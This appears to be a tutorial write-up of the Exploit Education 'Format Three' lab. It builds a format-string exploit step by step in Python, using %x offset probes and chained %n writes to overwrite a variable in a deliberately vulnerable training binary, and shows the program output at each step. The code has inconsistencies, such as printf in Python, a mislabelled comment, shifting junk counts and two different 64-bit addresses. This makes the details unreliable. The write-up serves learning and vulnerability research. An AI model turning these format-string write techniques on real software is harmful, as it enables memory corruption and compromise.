Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Quick Overview
Similar to Format Two Writeup, Format Three exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Three challenge revolves around Format String Vulnerability
and quite challenging when exploiting in 64-bit architecture binary.
Disassemble
Disassembling the code will get you overall idea behind the format-two code, One can use gdb ./format-three
to start debugging it in runtime.
gdb ./format-three
- Type
disassemble main
to get the disassembled code (assembly)
0x080484fc <+0>: lea ecx,[esp+0x4]
0x08048500 <+4>: and esp,0xfffffff0
0x08048503 <+7>: push DWORD PTR [ecx-0x4]
0x08048506 <+10>: push ebp
0x08048507 <+11>: mov ebp,esp
0x08048509 <+13>: push ecx
0x0804850a <+14>: sub esp,0x1004
0x08048510 <+20>: sub esp,0xc
0x08048513 <+23>: push 0x80485e0
0x08048518 <+28>: call 0x8048310 <puts@plt>
0x0804851d <+33>: add esp,0x10
0x08048520 <+36>: sub esp,0x4
0x08048523 <+39>: push 0xfff
0x08048528 <+44>: lea eax,[ebp-0x1008]
0x0804852e <+50>: push eax
0x0804852f <+51>: push 0x0
0x08048531 <+53>: call 0x8048320 <read@plt>
0x08048536 <+58>: add esp,0x10
0x08048539 <+61>: test eax,eax
0x0804853b <+63>: jg 0x8048547 <main+75>
0x0804853d <+65>: sub esp,0xc
0x08048540 <+68>: push 0x1
0x08048542 <+70>: call 0x8048330 <exit@plt>
0x08048547 <+75>: sub esp,0xc
0x0804854a <+78>: lea eax,[ebp-0x1008]
0x08048550 <+84>: push eax
0x08048551 <+85>: call 0x80484e5 <bounce>
0x08048556 <+90>: add esp,0x10
0x08048559 <+93>: mov eax,ds:0x8049844
0x0804855e <+98>: cmp eax,0x64457845
0x08048563 <+103>: jne 0x8048577 <main+123>
0x08048565 <+105>: sub esp,0xc
0x08048568 <+108>: push 0x8048630
0x0804856d <+113>: call 0x8048310 <puts@plt>
0x08048572 <+118>: add esp,0x10
0x08048575 <+121>: jmp 0x804858d <main+145>
0x08048577 <+123>: mov eax,ds:0x8049844
0x0804857c <+128>: sub esp,0x8
0x0804857f <+131>: push eax
0x08048580 <+132>: push 0x8048670
0x08048585 <+137>: call 0x8048300 <printf@plt>
0x0804858a <+142>: add esp,0x10
0x0804858d <+145>: sub esp,0xc
0x08048590 <+148>: push 0x0
0x08048592 <+150>: call 0x8048330 <exit@plt>
Before taking a look at the code, if you disassembled the format-two using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-three, brought to you by https://exploit.education
message via Puts (aka printf) method - The main function starts by declaring a character buffer of size 4096 and printing the welcome message. It then reads input from the standard input stream into the buffer. If the read is unsuccessful, the program exits with a failure status.
- Next, the program calls the bounce function, which takes a character pointer as an argument and prints the string pointed to by that pointer using the printf function.
- After calling the bounce function, the program checks if the value of the changeme variable is equal to
0x64457845
. If it is, the program prints a success message. Otherwise, it prints a failure message that includes the current value of the changeme variable.
Memory Allocation - Exploit Strategy
If you take closer look at the memory allocation, changeme
variable it’s placed on the stack before buffer
char array. There is no way you could overflow buffer overflow variable and overwrite changeme
variable. However, introducing %n
format modifier string can perform this magic by overwriting the address using format string vulnerability
.
Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,
user@phoenix-amd64:/opt/phoenix/i486$ echo -e 'AAAA%x.%x.%x.%x.%x.\n' | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAA0.0.0.f7f81cf7.f7ffb000.
Better luck next time - got 0x00000000, wanted 0x64457845!
Our experiment continues untill we find AAAA
or 41414141 in the stack and eventually we come to know that it occurs at the 11th padding,
user@phoenix-amd64:/opt/phoenix/i486$ echo -e 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n' | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAA0.0.0.f7f81cf7.f7ffb000.ffffd718.8048556.ffffc710.ffffc710.fff.0.41414141
Better luck next time - got 0x00000000, wanted 0x64457845!
Now that we found the padding, it’s time to find the exact memory address of changeme
variable. For 64-bit binary format-three
it should be 0x600a90
and 32-bit binary should be 0x8049844
. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.
So, let’s come up with a payload for 32-bit arch format-three binary first. Since, changeme
now requires to be 0x64457845
which is pretty huge number and I don’t think we have enough bytes to overwrite the memory address. However, there is a workaround by spliting the address into 4 bytes (32 Bit platform) and each byte gets a specific number of junk bytes to overwrite. For example, \x44\x98\x04\x08
can try writing 45
first and carry forward to next bytes if any overflow.
One can start overwriting single byte with trial and error method, starting changeme+0
with padding 11 yields
changeme = 0x8049844
buff = ""
buff += p32(changeme+0)
buff += p32(changeme+1)
buff += p32(changeme+2)
buff += p32(changeme+3)
buff += '%x ' * 11 # offset to first byte
buff += "%n"
print(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0
Better luck next time - got 0x00000051, wanted 0x64457845!
- When
changeme+0
is getting overwritten as0x00000051
but our target was0x00000045
matching0x64457845
. We could try pushing few more junk characters and bump51
to145
. So, we now require0x145
-0x51
i.e in decimal 244 characters to be written.
changeme = 0x8049844
buff = ""
buff += p32(changeme+0)
buff += p32(changeme+1)
buff += p32(changeme+2)
buff += p32(changeme+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 244 # JUNK
buff += "%n"
print(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Better luck next time - got 0x00000145, wanted 0x64457845!
- When
changeme+1
is getting overwritten as0x00000145
but our target was0x00007845
matching0x64457845
. We could try pushing few more junk characters and bump145
to178
. So, we now require0x178
-0x145
i.e in decimal 51 characters to be written.
changeme = 0x8049844
buff = ""
buff += p32(changeme+0)
buff += p32(changeme+1)
buff += p32(changeme+2)
buff += p32(changeme+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 244 # JUNK
buff += "%n" # write to first byte
buff += 'A' * 51 # JUNK
buff += "%n" # write to second byte
printf(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Better luck next time - got 0x00017845, wanted 0x64457845!
- When
changeme+2
is getting overwritten as0x00000178
but our target was0x00457845
matching0x64457845
. We could try pushing few more junk characters and bump178
to245
. So, we now require0x245
-0x178
i.e in decimal 205 characters to be written.
changeme = 0x8049844
buff = ""
buff += p32(changeme+0)
buff += p32(changeme+1)
buff += p32(changeme+2)
buff += p32(changeme+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 244 # JUNK
buff += "%n" # write to first byte
buff += 'A' * 51 # JUNK
buff += "%n" # write to second byte
buff += 'A' * 205 # JUNK
buff += "%n" # write to second byte
printf(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Better luck next time - got 0x02457845, wanted 0x64457845!
- When
changeme+3
is getting overwritten as0x00000245
but our target was0x64457845
matching0x64457845
. We could try pushing few more junk characters and bump245
to264
. So, we now require0x264
-0x245
i.e in decimal 31 characters to be written.
changeme = 0x8049844
buff = ""
buff += p32(changeme+0)
buff += p32(changeme+1)
buff += p32(changeme+2)
buff += p32(changeme+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 244
buff += "%n" # write to first byte
buff += 'A' * 51
buff += "%n" # write to second byte
buff += 'A' * 31
buff += "%n" # write to third byte
printf(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, the 'changeme' variable has been changed correctly!
So, you might be wondering where is that carry over 2
from 264
🤣 - Consider it as inflation and cost-of-living.
Challenge faced while exploiting 64-bit binary
As mentioned above while going through memory address of changeme
variable in the stack of 64-bit binary should be 0x600af0
and it contains unreasonable characters 😥 - \x00
and \0a
null character & new line terminator which is interpreted by the strncpy
function and completely terminates the argument while copying to the buffer.
However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.
Exploit
Now, our strategy should be,
- Input
format string
as above python file execution results pipe-ing toformat-three
binary - Now,
printf
overwrites thechangeme
using random address from stack.
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, the 'changeme' variable has been changed correctly!
There you go! 🎉 You’ve officially pwned
and you may eventually gain code execution in upcoming exercises 🪲
Source and Reference:
- Format Three Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.